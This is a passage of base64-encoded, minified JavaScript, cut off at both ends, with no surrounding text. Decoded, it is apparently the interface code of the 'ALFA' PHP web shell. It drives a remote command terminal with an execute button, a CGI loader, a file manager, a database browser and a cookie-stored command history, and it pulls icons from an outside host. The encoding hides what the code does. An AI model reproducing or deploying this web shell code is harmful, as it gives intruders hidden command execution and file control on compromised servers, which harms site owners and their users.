0Y2goZSl7fW9wdGlvbnNfd2luZG93X2lzX21pbmltaXplZHx8KGQuYm9keS5zdHlsZS5vdmVyZmxvdz0iaGlkZGVuIil9ZnVuY3Rpb24gYWxmYUJlZm9yZURvQWN0aW9uKGUpe2FsZmFfYmVmb3JlX2RvX2FjdGlvbl9pZD1lfWZ1bmN0aW9uIGFsZmFMb2FkZXJPblRvcChlKXskKCJhX2xvYWRlciIpLnN0eWxlLmRpc3BsYXk9ZSxkLmJvZHkuc3R5bGUub3ZlcmZsb3c9ImJsb2NrIj09ZT8iaGlkZGVuIjoidmlzaWJsZSJ9ZnVuY3Rpb24gYWxmYUFqYXhDb250cm9sbGVyKGUpe3ZhciB0PWUuZ2V0QXR0cmlidXRlKCJwYXJlbnQiKTskKCJsb2FkZXJfIit0KS5yZW1vdmUoKSwiZmlsZXNtYW5faG9sZGVyIj09dC5zdWJzdHIoMCwxNSkmJigkKHQpLnN0eWxlLm1pbkhlaWdodD0iMCIpLF9BTEZBX0FKQVhfLmhhc093blByb3BlcnR5KHQpJiZfQUxGQV9BSkFYX1t0XS5hYm9ydCgpfWZ1bmN0aW9uIGNsb3NlRGF0YWJhc2UoZSx0KXt0LnN0b3BQcm9wYWdhdGlvbigpO3ZhciBhPWUuZ2V0QXR0cmlidXRlKCJvcHRfaWQiKTtpZigkKGEpLnJlbW92ZSgpLC0xIT0kKCJ0YWJfIithKS5jbGFzc0xpc3QudmFsdWUuaW5kZXhPZigic3FsLWFjdGl2ZS10YWIiKSlpZigoZT1kLnF1ZXJ5U2VsZWN0b3JBbGwoIi5zcWwtdGFicyAuc3FsLXRhYm5hbWUiKSkubGVuZ3RoPjEpe2VbMF0uY2xhc3NMaXN0LmFkZCgic3FsLWFjdGl2ZS10YWIiKTt2YXIgaT1lWzBdLmdldEF0dHJpYnV0ZSgib3B0X2lkIik7bnVsbCE9JChpKSYmJChpKS5jbGFzc0xpc3QudG9nZ2xlKCJzcWwtYWN0aXZlLWNvbnRlbnQiKX1lbHNlIGVkaXRvckNsb3NlKCJkYXRhYmFzZV93aW5kb3ciKTtkLnF1ZXJ5U2VsZWN0b3IoImRpdltvcHRfaWQ9IithKyJdIikucmVtb3ZlKCl9ZnVuY3Rpb24gY2xvc2VGbVRhYihlLHQpe3Quc3RvcFByb3BhZ2F0aW9uKCk7dmFyIGE9ZS5nZXRBdHRyaWJ1dGUoImZtX2lkIiksaT0kKCJmaWxlc21hbl90YWJfIithKTtpZigtMSE9aS5jbGFzc0xpc3QudmFsdWUuaW5kZXhPZigiZmlsZXNtYW4tdGFiLWFjdGl2ZSIpJiYoZT1kLnF1ZXJ5U2VsZWN0b3JBbGwoIiNmaWxlc21hbl90YWJzIC5maWxlc21hbl90YWIiKSkubGVuZ3RoPjEpe2VbMF0uY2xhc3NMaXN0LmFkZCgiZmlsZXNtYW4tdGFiLWFjdGl2ZSIpO3ZhciBsPWVbMF0uZ2V0QXR0cmlidXRlKCJmbV9pZCIpLHI9ImZpbGVzbWFuX2hvbGRlcl8iK2w7aWYobnVsbCE9JChyKSl7JChyKS5jbGFzc0xpc3QudG9nZ2xlKCJmaWxlc21hbi1hY3RpdmUtY29udGVudCIpO3ZhciBvPSQoImZpbGVzbWFuX3RhYl8iK2wpLmdldEF0dHJpYnV0ZSgicGF0aCIpO2luaXREaXIobyksZC5tZi5jLnZhbHVlPW8sYWxmYV9jdXJyZW50X2ZtX2lkPWx9fWkucmVtb3ZlKCksJCgiZmlsZXNtYW5faG9sZGVyXyIrYSkucmVtb3ZlKCksYWxmYUZpbGVzbWFuVGFiSGlkZVRpdGxlKCl9ZnVuY3Rpb24gY2xvc2VPcHRpb24oZSx0KXt0LnN0b3BQcm9wYWdhdGlvbigpO3ZhciBhPWUuZ2V0QXR0cmlidXRlKCJvcHRfaWQiKTtpZigkKGEpLnJlbW92ZSgpLC0xIT0kKCJ0YWJfIithKS5jbGFzc0xpc3QudmFsdWUuaW5kZXhPZigidGFiX2lzX2FjdGl2ZSIpKWlmKChlPWQucXVlcnlTZWxlY3RvckFsbCgiLm9wdGlvbnNfdGFiIC50YWJfbmFtZSIpKS5sZW5ndGg+MSl7ZVswXS5jbGFzc0xpc3QuYWRkKCJ0YWJfaXNfYWN0aXZlIik7dmFyIGk9ZVswXS5nZXRBdHRyaWJ1dGUoIm9wdF9pZCIpO251bGwhPSQoaSkmJiQoaSkuY2xhc3NMaXN0LnRvZ2dsZSgib3B0aW9uX2lzX2FjdGl2ZSIpfWVsc2UgZWRpdG9yQ2xvc2UoIm9wdGlvbnNfd2luZG93Iik7ZC5xdWVyeVNlbGVjdG9yKCJkaXZbb3B0X2lkPSIrYSsiXSIpLnJlbW92ZSgpfWZ1bmN0aW9uIGhpc3RvcnlQYW5lbENvbnRyb2xsZXIoZSl7ImhpZGRlbiI9PWUuZ2V0QXR0cmlidXRlKCJtb2RlIik/KGQucXVlcnlTZWxlY3RvcigiLmVkaXRvci1leHBsb3JlciIpLnN0eWxlLmRpc3BsYXk9ImJsb2NrIixkLnF1ZXJ5U2VsZWN0b3IoIi5lZGl0b3ItbW9kYWwiKS5zdHlsZS5tYXJnaW5MZWZ0PSIyMCUiLGUuc2V0QXR0cmlidXRlKCJtb2RlIiwidmlzaWJsZSIpLGUuc3R5bGUubGVmdD0iMTklIixlLmlubmVySFRNTD0iPDwiKTooZC5xdWVyeVNlbGVjdG9yKCIuZWRpdG9yLWV4cGxvcmVyIikuc3R5bGUuZGlzcGxheT0ibm9uZSIsZC5xdWVyeVNlbGVjdG9yKCIuZWRpdG9yLW1vZGFsIikuc3R5bGUubWFyZ2luTGVmdD0iMSUiLGUuc2V0QXR0cmlidXRlKCJtb2RlIiwiaGlkZGVuIiksZS5zdHlsZS5sZWZ0PSIwJSIsZS5pbm5lckhUTUw9Ij4+Iil9ZnVuY3Rpb24gY2xvc2VUZXJtaW5hbENvbnRlbnQoZSx0KXt0LnN0b3BQcm9wYWdhdGlvbigpO3ZhciBhPWUuZ2V0QXR0cmlidXRlKCJ0ZXJtX2lkIik7aWYoKCQoYSkucmVtb3ZlKCksLTEhPSQoInRhYl8iK2EpLmNsYXNzTGlzdC52YWx1ZS5pbmRleE9mKCJhY3RpdmUtdGVybWluYWwtdGFiIikpJiYoZT1kLnF1ZXJ5U2VsZWN0b3JBbGwoIi50ZXJtaW5hbC10YWJzIC50ZXJtaW5hbC10YWIiKSkubGVuZ3RoPjEpe2VbMF0uY2xhc3NMaXN0LmFkZCgiYWN0aXZlLXRlcm1pbmFsLXRhYiIpO3ZhciBpPWVbMF0uZ2V0QXR0cmlidXRlKCJ0ZXJtX2lkIik7bnVsbCE9JChpKSYmJChpKS5jbGFzc0xpc3QudG9nZ2xlKCJhY3RpdmUtdGVybWluYWwtY29udGVudCIpfWQucXVlcnlTZWxlY3RvcigiZGl2W3Rlcm1faWQ9IithKyJdIikucmVtb3ZlKCl9ZnVuY3Rpb24gY2xvc2VFZGl0b3JDb250ZW50KGUsdCl7dC5zdG9wUHJvcGFnYXRpb24oKTt2YXIgYT1lLmdldEF0dHJpYnV0ZSgib3B0X2lkIik7aWYoKCQoYSkucmVtb3ZlKCksLTEhPSQoInRhYl8iK2EpLmNsYXNzTGlzdC52YWx1ZS5pbmRleE9mKCJlZGl0b3ItdGFiLWFjdGl2ZSIpKSYmKGU9ZC5xdWVyeVNlbGVjdG9yQWxsKCIuZWRpdG9yLXRhYnMgLmVkaXRvci10YWItbmFtZSIpKS5sZW5ndGg+MSl7ZVswXS5jbGFzc0xpc3QuYWRkKCJlZGl0b3ItdGFiLWFjdGl2ZSIpO3ZhciBpPWVbMF0uZ2V0QXR0cmlidXRlKCJvcHRfaWQiKTtudWxsIT0kKGkpJiYkKGkpLmNsYXNzTGlzdC50b2dnbGUoImVkaXRvci1jb250ZW50LWFjdGl2ZSIpfWQucXVlcnlTZWxlY3RvcigiZGl2W29wdF9pZD0iK2ErIl0iKS5yZW1vdmUoKX1mdW5jdGlvbiBvcHRpb25zVGFiQ29udHJvbGxlcihlKXt0cnl7ZC5xdWVyeVNlbGVjdG9yKCIub3B0aW9uc19ob2xkZXIub3B0aW9uX2lzX2FjdGl2ZSIpLmNsYXNzTGlzdC5yZW1vdmUoIm9wdGlvbl9pc19hY3RpdmUiKX1jYXRjaChlKXt9dmFyIHQ9ZS5nZXRBdHRyaWJ1dGUoIm9wdF9pZCIpO2lmKG51bGw9PXQpcmV0dXJuITE7JCh0KS5jbGFzc0xpc3QudG9nZ2xlKCJvcHRpb25faXNfYWN0aXZlIik7dHJ5e2QucXVlcnlTZWxlY3RvcigiI29wdGlvbnNfd2luZG93IC5jb250ZW50X29wdGlvbnNfaG9sZGVyIC5vcHRpb25zX3RhYiBcdC50YWJfbmFtZS50YWJfaXNfYWN0aXZlIikuY2xhc3NMaXN0LnJlbW92ZSgidGFiX2lzX2FjdGl2ZSIpfWNhdGNoKGUpe31lLmNsYXNzTGlzdC5yZW1vdmUoInRhYi1pcy1kb25lIiksZS5jbGFzc0xpc3QuYWRkKCJ0YWJfaXNfYWN0aXZlIiksZC5xdWVyeVNlbGVjdG9yKCIub3B0LXRpdGxlIikuaW5uZXJIVE1MPWUuZ2V0QXR0cmlidXRlKCJ0aXRsZSIpLGFsZmFVcGRhdGVPcHRpb25zQmFkZ2UoIm9wdGlvbnNfd2luZG93Iil9ZnVuY3Rpb24gdGVybWluYWxUYWJDb250cm9sbGVyKGUpe3RyeXtkLnF1ZXJ5U2VsZWN0b3IoIi50ZXJtaW5hbC10YWIuYWN0aXZlLXRlcm1pbmFsLXRhYiIpLmNsYXNzTGlzdC5yZW1vdmUoImFjdGl2ZS10ZXJtaW5hbC10YWIiKX1jYXRjaChlKXt9dHJ5e2QucXVlcnlTZWxlY3RvcigiLnRlcm1pbmFsLWNvbnRlbnQuYWN0aXZlLXRlcm1pbmFsLWNvbnRlbnQiKS5jbGFzc0xpc3QucmVtb3ZlKCJhY3RpdmUtdGVybWluYWwtY29udGVudCIpfWNhdGNoKGUpe312YXIgdD1lLmdldEF0dHJpYnV0ZSgidGVybV9pZCIpO2lmKG51bGw9PXQpcmV0dXJuITE7JCh0KS5jbGFzc0xpc3QudG9nZ2xlKCJhY3RpdmUtdGVybWluYWwtY29udGVudCIpLGUuY2xhc3NMaXN0LnJlbW92ZSgidGFiLWlzLWRvbmUiKSxlLmNsYXNzTGlzdC5hZGQoImFjdGl2ZS10ZXJtaW5hbC10YWIiKSwkKHQpLnF1ZXJ5U2VsZWN0b3IoIi5waHAtdGVybWluYWwtaW5wdXQiKS5mb2N1cygpLGFsZmFVcGRhdGVPcHRpb25zQmFkZ2UoImNnaWxvYWRlciIpfWZ1bmN0aW9uIGZpbGVzbWFuVGFiQ29udHJvbGxlcihlKXt0cnl7ZC5xdWVyeVNlbGVjdG9yKCIuYWpheGFyZWEuZmlsZXNtYW4tYWN0aXZlLWNvbnRlbnQiKS5jbGFzc0xpc3QucmVtb3ZlKCJmaWxlc21hbi1hY3RpdmUtY29udGVudCIpfWNhdGNoKGUpe310cnl7ZC5xdWVyeVNlbGVjdG9yKCIuZmlsZXNtYW5fdGFiLmZpbGVzbWFuLXRhYi1hY3RpdmUiKS5jbGFzc0xpc3QucmVtb3ZlKCJmaWxlc21hbi10YWItYWN0aXZlIil9Y2F0Y2goZSl7fXZhciB0PWUuZ2V0QXR0cmlidXRlKCJmbV9pZCIpO2lmKG51bGw9PXQpcmV0dXJuITE7YWxmYV9jdXJyZW50X2ZtX2lkPXQsZS5jbGFzc0xpc3QuYWRkKCJmaWxlc21hbi10YWItYWN0aXZlIiksZS5jbGFzc0xpc3QucmVtb3ZlKCJ0YWItaXMtZG9uZSIpLCQoImZpbGVzbWFuX2hvbGRlcl8iK3QpLmNsYXNzTGlzdC50b2dnbGUoImZpbGVzbWFuLWFjdGl2ZS1jb250ZW50Iik7dmFyIGE9ZS5nZXRBdHRyaWJ1dGUoInBhdGgiKTtpbml0RGlyKGEpLGQubWYuYy52YWx1ZT1hfWZ1bmN0aW9uIGRiVGFiQ29udHJvbGxlcihlKXt0cnl7ZC5xdWVyeVNlbGVjdG9yKCIuc3FsLWNvbnRlbnQuc3FsLWFjdGl2ZS1jb250ZW50IikuY2xhc3NMaXN0LnJlbW92ZSgic3FsLWFjdGl2ZS1jb250ZW50Iil9Y2F0Y2goZSl7fXRyeXtkLnF1ZXJ5U2VsZWN0b3IoIi5zcWwtdGFibmFtZS5zcWwtYWN0aXZlLXRhYiIpLmNsYXNzTGlzdC5yZW1vdmUoInNxbC1hY3RpdmUtdGFiIil9Y2F0Y2goZSl7fXZhciB0PWUuZ2V0QXR0cmlidXRlKCJvcHRfaWQiKTtpZihudWxsPT10KXJldHVybiExOyQodCkuY2xhc3NMaXN0LnRvZ2dsZSgic3FsLWFjdGl2ZS1jb250ZW50IiksZS5jbGFzc0xpc3QucmVtb3ZlKCJ0YWItaXMtZG9uZSIpLGUuY2xhc3NMaXN0LmFkZCgic3FsLWFjdGl2ZS10YWIiKSxhbGZhVXBkYXRlT3B0aW9uc0JhZGdlKCJkYXRhYmFzZV93aW5kb3ciKX1mdW5jdGlvbiBlZGl0b3JUYWJDb250cm9sbGVyKGUsdCl7dHJ5e2QucXVlcnlTZWxlY3RvcigiLmVkaXRvci1jb250ZW50cy5lZGl0b3ItY29udGVudC1hY3RpdmUiKS5jbGFzc0xpc3QucmVtb3ZlKCJlZGl0b3ItY29udGVudC1hY3RpdmUiKX1jYXRjaChlKXt9dmFyIGE9bnVsbDt2b2lkIDA9PT10P2E9ZS5nZXRBdHRyaWJ1dGUoIm9wdF9pZCIpOihhPWUsZT0kKCJ0YWJfIithKSk7dmFyIGk9ZWRpdG9yX2ZpbGVzWyJmaWxlXyIrYS5yZXBsYWNlKCJlZGl0b3Jfc291cmNlXyIsIiIpXTtpZih2b2lkIDAhPT1pJiYoZC5xdWVyeVNlbGVjdG9yKCIuZWRpdG9yLXBhdGgiKS5pbm5lckhUTUw9KGkucHdkKyIvIitpLmZpbGUpLnJlcGxhY2UoL1wvXC8vZywiLyIpKSxudWxsPT1hKXJldHVybiExOyQoYSkuY2xhc3NMaXN0LnRvZ2dsZSgiZWRpdG9yLWNvbnRlbnQtYWN0aXZlIik7dHJ5e2QucXVlcnlTZWxlY3RvcigiLmVkaXRvci10YWJzIC5lZGl0b3ItdGFiLW5hbWUuZWRpdG9yLXRhYi1hY3RpdmUiKS5jbGFzc0xpc3QucmVtb3ZlKCJlZGl0b3ItdGFiLWFjdGl2ZSIpfWNhdGNoKGUpe31lLmNsYXNzTGlzdC5yZW1vdmUoInRhYi1pcy1kb25lIiksZS5jbGFzc0xpc3QuYWRkKCJlZGl0b3ItdGFiLWFjdGl2ZSIpLGFsZmFVcGRhdGVPcHRpb25zQmFkZ2UoImVkaXRvciIpfWZ1bmN0aW9uIGFsZmFVcGRhdGVPcHRpb25zQmFkZ2UoZSl7dmFyIHQ9ZC5xdWVyeVNlbGVjdG9yKCIjIitlKyItbWluaW1pemVkIC5vcHRpb25zX21pbl9iYWRnZSIpO2lmKG51bGwhPXQpe3ZhciBhPWQucXVlcnlTZWxlY3RvckFsbCgiIyIrZSsiIC50YWItaXMtZG9uZSIpLmxlbmd0aDt0LmlubmVySFRNTD1hLHQuc3R5bGUudmlzaWJpbGl0eT1hPjA/InZpc2libGUiOiJoaWRkZW4ifX1mdW5jdGlvbiBhbGZhT3BlblBocFRlcm1pbmFsKGUpe2lmKHBocF90ZW1yaW5hbF91c2luZ19jZ2kmJnZvaWQgMD09PWUpc2hvd0VkaXRvcigiY2dpbG9hZGVyIik7ZWxzZXskKCJjZ2lsb2FkZXIiKS5zdHlsZS5kaXNwbGF5PSJibG9jayIsJCgiY2dpbG9hZGVyIikuc3R5bGUuYmFja2dyb3VuZD0icmdiYSgwLCAwLCAwLCAwLjU3KSIsJCgiY2dpZnJhbWUiKS5zdHlsZS5iYWNrZ3JvdW5kPSJyZ2JhKDAsIDAsIDAsIDAuODEpIiwkKCJjZ2lmcmFtZSIpLnN0eWxlLmJvcmRlcj0iMXB4IHNvbGlkIHJnYigzMCwgODYsIDExNSkiLCQoImNnaWZyYW1lIikuc3R5bGUuaGVpZ2h0PSI5MCUiLCQoImNnaWZyYW1lIikuc3R5bGUucGFkZGluZz0iM3B4IixkLnF1ZXJ5U2VsZWN0b3IoIiNjZ2lsb2FkZXIgLm9wdC10aXRsZSIpLmlubmVySFRNTD0iVGVybWluYWwiO3ZhciB0PSIiLGE9IiIsaT0idGVybWluYWxfaWRfIitnZXRSYW5kb20oMTApO3ZvaWQgMD09PWUmJih0PSIgYWN0aXZlLXRlcm1pbmFsLWNvbnRlbnQiLGE9IiBhY3RpdmUtdGVybWluYWwtdGFiIiksZC5xdWVyeVNlbGVjdG9yKCIjY2dpZnJhbWUgLnRlcm1pbmFsLWNvbnRlbnRzIikuaW5zZXJ0QWRqYWNlbnRIVE1MKCJhZnRlcmJlZ2luIiwnPGRpdiBpZD0iJytpKyciIGNsYXNzPSJ0ZXJtaW5hbC1jb250ZW50Jyt0KyciPjxkaXYgY2xhc3M9InBocC10ZXJtaW5hbC1vdXRwdXQiPjxkaXY+PGJ1dHRvbiBjbGFzcz0idGVybWluYWwtYnRuLWZvbnRjdGwiIG9uQ2xpY2s9ImNoYW5nZVRlcm1pbmFsRm9udFNpemUoXCcnK2krJ1wnLDEpOyI+KzwvYnV0dG9uPjxidXR0b24gY2xhc3M9InRlcm1pbmFsLWJ0bi1mb250Y3RsIiBvbkNsaWNrPSJjaGFuZ2VUZXJtaW5hbEZvbnRTaXplKFwnJytpKyInLDApO1wiPi08L2J1dHRvbj48aW5wdXQgb25jaGFuZ2U9XCJhbGZhVGVybWluYWxDaGFuZ2Vjb2xvcih0aGlzLCciK2krJ1wnKTsiIHN0eWxlPSJoZWlnaHQ6IDE4cHg7YmFja2dyb3VuZDogI2RkZTJlMjsiIHR5cGU9ImNvbG9yIj48L2Rpdj48cHJlIGNsYXNzPSJtbDEiIHN0eWxlPSJib3JkZXI6dW5zZXQ7aGVpZ2h0OiA5MCU7Ij48L3ByZT48L2Rpdj48ZGl2Pjxmb3JtIHRlcm1faWQ9IicraSsnIiBvblN1Ym1pdD0iYWxmYUV4ZWNUZXJtaW5hbCh0aGlzKTt0aGlzLmMudmFsdWU9XCdcJztyZXR1cm4gZmFsc2U7IiBhdXRvY29tcGxldGU9Im9mZiIgc3R5bGU9Im1hcmdpbi10b3A6IDEwcHg7Ij48ZGl2IHN0eWxlPSJvdmVyZmxvdzogYXV0bzt3aGl0ZS1zcGFjZTogbm93cmFwOyI+PGRpdiBzdHlsZT0iZGlzcGxheTogaW5saW5lLWJsb2NrO2NvbG9yOiM0ZmJlYzM7bWFyZ2luLWJvdHRvbTo1cHg7bWFyZ2luLXJpZ2h0OjVweDsiPkNXRDp+IyA8L2Rpdj48ZGl2IHN0eWxlPSJkaXNwbGF5OiBpbmxpbmUtYmxvY2s7Y29sb3I6IzQyZWM0MjsiIGNsYXNzPSJwaHAtdGVybWluYWwtY3VycmVudC1kaXIiPjwvZGl2PjwvZGl2PjxkaXYgc3R5bGU9InBvc2l0aW9uOnJlbGF0aXZlOyI+PHNwYW4gc3R5bGU9ImNvbG9yOiAjMDBmZjA4O2ZvbnQtc2l6ZTogMjVweDsiPiQgPC9zcGFuPjxpbnB1dCBzdHlsZT0icGFkZGluZzogOHB4O2ZvbnQtc2l6ZTogMjBweDt3aWR0aDogNjclO2JvcmRlcjogMXB4IHNvbGlkICAjZDkxNDlhO3BhZGRpbmctcmlnaHQ6MzVweDsiIG9ua2V5dXA9ImFsZmFXYWxrSW5UZXJtaW5hbEhpc3RvcnkodGhpcyxldmVudCxcJycraSsnXCcpOyIgdGVybV9pZD0iJytpKyciIGNsYXNzPSJwaHAtdGVybWluYWwtaW5wdXQiIHR5cGU9InRleHQiIG5hbWU9ImMiIG9uZm9jdXM9ImNsb3NlSGlzdG9yeUNtZChcJ2ZyZWVcJyx0aGlzKTsiIHBsYWNlaG9sZGVyPSJscyAtbGEiPjxidXR0b24gY2xhc3M9ImJ1dHRvbiIgc3R5bGU9ImNvbG9yOiAgI2Q5MTQ5YTtwYWRkaW5nOiAxMnB4O21hcmdpbi1sZWZ0OiAxMHB4O2JvcmRlci1yYWRpdXM6IDJweDtmb250LXdlaWdodDogYm9sZGVyOyI+RXhlQ3V0ZTxidXR0b24gdGVybV9pZD0iJytpKyciIGNsYXNzPSJidXR0b24iIHN0eWxlPSJjb2xvcjogICNkOTE0OWE7cGFkZGluZzogMTJweDttYXJnaW4tbGVmdDogMTBweDtib3JkZXItcmFkaXVzOiAycHg7Zm9udC13ZWlnaHQ6IGJvbGRlcjsiIG9uQ2xpY2s9ImFsZmFFeGVjVGVybWluYWwodGhpcywgMSk7cmV0dXJuIGZhbHNlOyI+Q3VycmVudCBEaXI8L2J1dHRvbj48ZGl2IGNsYXNzPSJjbWQtaGlzdG9yeS1ob2xkZXIiPjxkaXYgY2xhc3M9ImNvbW1hbmRzLWhpc3RvcnktaGVhZGVyIj5IaXN0b3J5PC9kaXY+PHNwYW4gb25DbGljaz0iY2xlYXJUZXJtaW5hbEhpc3RvcnkoKTsiIHN0eWxlPSJib3JkZXItYm90dG9tOiAxcHggc29saWQ7bWFyZ2luLWJvdHRvbTogNXB4O2Rpc3BsYXk6IGlubGluZS1ibG9jaztwYWRkaW5nOiA1cHg7Y29sb3I6ICM1OWRlNjk7Y3Vyc29yOiBwb2ludGVyOyI+Q2xlYXIgaGlzdG9yeTwvc3Bhbj48ZGl2IHN0eWxlPSJvdmVyZmxvdzogYXV0bztoZWlnaHQ6IDgyJTsiIGNsYXNzPSJjb21tYW5kcy1oaXN0b3J5Ij48L2Rpdj48L2Rpdj48ZGl2IHRlcm1faWQ9IicraSsnIiBjbGFzcz0iY21kLWhpc3RvcnktaWNvbiIgbW9kZT0iIiBvbmNsaWNrPSJjbG9zZUhpc3RvcnlDbWQodGhpcyk7Ij48aW1nIHN0eWxlPSJ3aWR0aDoyN3B4OyIgc3JjPSJodHRwOi8vc29sZXZpc2libGUuY29tL2ljb25zL21lbnUvdGltZTIuc3ZnIj48L2Rpdj48L2Zvcm0+PC9kaXY+PC9kaXY+PC9kaXY+Jyk7dHJ5eyQoInRlcm1pbmFsX25ld190YWIiKS5yZW1vdmUoKX1jYXRjaChlKXt9ZC5xdWVyeVNlbGVjdG9yKCIjY2dpZnJhbWUgLnRlcm1pbmFsLXRhYnMiKS5pbnNlcnRBZGphY2VudEhUTUwoImJlZm9yZWVuZCIsJzxkaXYgb25jbGljaz0idGVybWluYWxUYWJDb250cm9sbGVyKHRoaXMpOyIgdGVybV9pZD0iJytpKyciIGlkPSJ0YWJfJytpKyciIGNsYXNzPSJ0ZXJtaW5hbC10YWInK2ErJyI+VGVybWluYWwgPGltZyB0ZXJtX2lkPSInK2krJyIgb25jbGljaz0iY2xvc2VUZXJtaW5hbENvbnRlbnQodGhpcyxldmVudCk7cmV0dXJuIGZhbHNlOyIgdGl0bGU9IltjbG9zZV0iIHNyYz0iaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pY29ucy9tZW51L2RlbGV0ZS5zdmciPjwvZGl2PicpLGQucXVlcnlTZWxlY3RvcigiI2NnaWZyYW1lIC50ZXJtaW5hbC10YWJzIikuaW5zZXJ0QWRqYWNlbnRIVE1MKCJiZWZvcmVlbmQiLCc8ZGl2IG9uY2xpY2s9ImFsZmFPcGVuUGhwVGVybWluYWwodHJ1ZSk7IiBpZD0idGVybWluYWxfbmV3X3RhYiIgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6IzgwMDAwMDsiIGNsYXNzPSJ0ZXJtaW5hbC10YWIiPk5ldyBUYWIgKzwvZGl2PicpLHRlcm1pbmFsX3dhbGtfaW5kZXhbaV09e2luZGV4OjAsa2V5Oi0xfSxkLnF1ZXJ5U2VsZWN0b3IoIiMiK2krIiAucGhwLXRlcm1pbmFsLWlucHV0IikuZm9jdXMoKSxkLnF1ZXJ5U2VsZWN0b3IoIiMiK2krIiAucGhwLXRlcm1pbmFsLWN1cnJlbnQtZGlyIikuaW5uZXJIVE1MPWNfLGQucXVlcnlTZWxlY3RvcigiI2NnaWxvYWRlci1taW5pbWl6ZWQgLm1pbmltaXplZC10ZXh0IikuaW5uZXJIVE1MPSJUZXJtaW5hbCIsYWxmYVRlcm1pbmFsU2V0Q29sb3JBbmRTaXplKGkpLHBocF90ZW1yaW5hbF91c2luZ19jZ2k9ITA7dmFyIGw9YWxmYUdldFRlcm1pbmFsSGlzdG9yeSgpO2Zvcih2YXIgciBpbiBsKWQucXVlcnlTZWxlY3RvcigiIyIraSsiIC5jbWQtaGlzdG9yeS1ob2xkZXIgLmNvbW1hbmRzLWhpc3RvcnkiKS5pbnNlcnRBZGphY2VudEhUTUwoImFmdGVyYmVnaW4iLCI8ZGl2IG9uY2xpY2s9XCJkLnF1ZXJ5U2VsZWN0b3IoJyMiK2krJyAucGhwLXRlcm1pbmFsLWlucHV0XCcpLnZhbHVlID0gdGhpcy5pbm5lckhUTUw7IiBjbGFzcz0iaGlzdG9yeS1jbWQtbGluZSI+JytsW3JdKyI8L2Rpdj4iKX1kLmJvZHkuc3R5bGUub3ZlcmZsb3c9ImhpZGRlbiJ9ZnVuY3Rpb24gYWxmYVRlcm1pbmFsU2V0Q29sb3JBbmRTaXplKGUpe3ZhciB0PWdldENvb2tpZSgiYWxmYS10ZXJtaW5hbC1jb2xvciIpLGE9Z2V0Q29va2llKCJhbGZhLXRlcm1pbmFsLWZvbnRzaXplIik7dm9pZCAwIT09dCYmKGQucXVlcnlTZWxlY3RvcigiIyIrZSsiIHByZS5tbDEiKS5zdHlsZS5jb2xvcj10KSx2b2lkIDAhPT1hJiYoZC5xdWVyeVNlbGVjdG9yKCIjIitlKyIgcHJlLm1sMSIpLnN0eWxlLmZvbnRTaXplPWEpfWZ1bmN0aW9uIGFsZmFUZXJtaW5hbENoYW5nZWNvbG9yKGUsdCl7ZC5xdWVyeVNlbGVjdG9yKCIjIit0KyIgcHJlLm1sMSIpLnN0eWxlLmNvbG9yPWUudmFsdWUsc2V0Q29va2llKCJhbGZhLXRlcm1pbmFsLWNvbG9yIixlLnZhbHVlLDIwMTIpfWZ1bmN0aW9uIGFsZmFHZXRUZXJtaW5hbEhpc3RvcnkoZSl7dmFyIHQ9Z2V0Q29va2llKCJhbGZhLXRlcm1pbmFsLWhpc3RvcnkiKTt0cnl7dD1hdG9iKHQpLHQ9SlNPTi5wYXJzZSh0KX1jYXRjaChlKXt0PVtdfXJldHVybiB2b2lkIDAhPT1lJiZ0LnJldmVyc2UoKSx0fWZ1bmN0aW9uIGNoYW5nZVRlcm1pbmFsRm9udFNpemUoZSx0KXt2YXIgYT1kLnF1ZXJ5U2VsZWN0b3IoIiMiK2UrIiBwcmUubWwxIiksaT1wYXJzZUludCh3aW5kb3cuZ2V0Q29tcHV0ZWRTdHlsZShhLG51bGwpLmdldFByb3BlcnR5VmFsdWUoImZvbnQtc2l6ZSIpKSxsPSIiOzE9PXQ/KGw9aSsxKyJweCIsYS5zdHlsZS5mb250U2l6ZT1sKToobD1pLTErInB4IixhLnN0eWxlLmZvbnRTaXplPWwpLHNldENvb2tpZSgiYWxmYS10ZXJtaW5hbC1mb250c2l6ZSIsbCwyMDEyKX1mdW5jdGlvbiBhbGZhV2Fsa0luVGVybWluYWxIaXN0b3J5KGUsdCxhKXt2YXIgaT10fHx3aW5kb3cuZXZlbnQ7aWYoIjM4Ij09aS5rZXlDb2RlfHwiNDAiPT1pLmtleUNvZGV8fCIzNyI9PWkua2V5Q29kZXx8IjM5Ij09aS5rZXlDb2RlKXN3aXRjaChpLmtleUNvZGUpe2Nhc2UgMzg6dmFyIGw9YWxmYUdldFRlcm1pbmFsSGlzdG9yeSghMCkscj0iIjswPT10ZXJtaW5hbF93YWxrX2luZGV4W2FdLmluZGV4PygwPT10ZXJtaW5hbF93YWxrX2luZGV4W2FdLmtleSYmKyt0ZXJtaW5hbF93YWxrX2luZGV4W2FdLmluZGV4LHZvaWQgMCE9PShyPWxbdGVybWluYWxfd2Fsa19pbmRleFthXS5pbmRleF0pPyhlLnZhbHVlPXIsKyt0ZXJtaW5hbF93YWxrX2luZGV4W2FdLmluZGV4KTooZS52YWx1ZT0iIix0ZXJtaW5hbF93YWxrX2luZGV4W2FdLmluZGV4PTApKTp0ZXJtaW5hbF93YWxrX2luZGV4W2FdLmluZGV4PGwubGVuZ3RoJiYoMD09dGVybWluYWxfd2Fsa19pbmRleFthXS5rZXkmJisrdGVybWluYWxfd2Fsa19pbmRleFthXS5pbmRleCxlLnZhbHVlPWxbdGVybWluYWxfd2Fsa19pbmRleFthXS5pbmRleF0sKyt0ZXJtaW5hbF93YWxrX2luZGV4W2FdLmluZGV4KSx0ZXJtaW5hbF93YWxrX2luZGV4W2FdLmtleT0xO2JyZWFrO2Nhc2UgNDA6bD1hbGZhR2V0VGVybWluYWxIaXN0b3J5KCEwKTtpZih0ZXJtaW5hbF93YWxrX2luZGV4W2FdLmluZGV4Pj0wKTAhPXRlcm1pbmFsX3dhbGtfaW5kZXhbYV0uaW5kZXgmJigtLXRlcm1pbmFsX3dhbGtfaW5kZXhbYV0uaW5kZXgsMT09dGVybWluYWxfd2Fsa19pbmRleFthXS5rZXkmJi0tdGVybWluYWxfd2Fsa19pbmRleFthXS5pbmRleCksdm9pZCAwIT09KHI9bFt0ZXJtaW5hbF93YWxrX2luZGV4W2FdLmluZGV4XSk/ZS52YWx1ZT1yOihlLnZhbHVlPSIiLHRlcm1pbmFsX3dhbGtfaW5kZXhbYV0uaW5kZXg9MCk7dGVybWluYWxfd2Fsa19pbmRleFthXS5rZXk9MDticmVha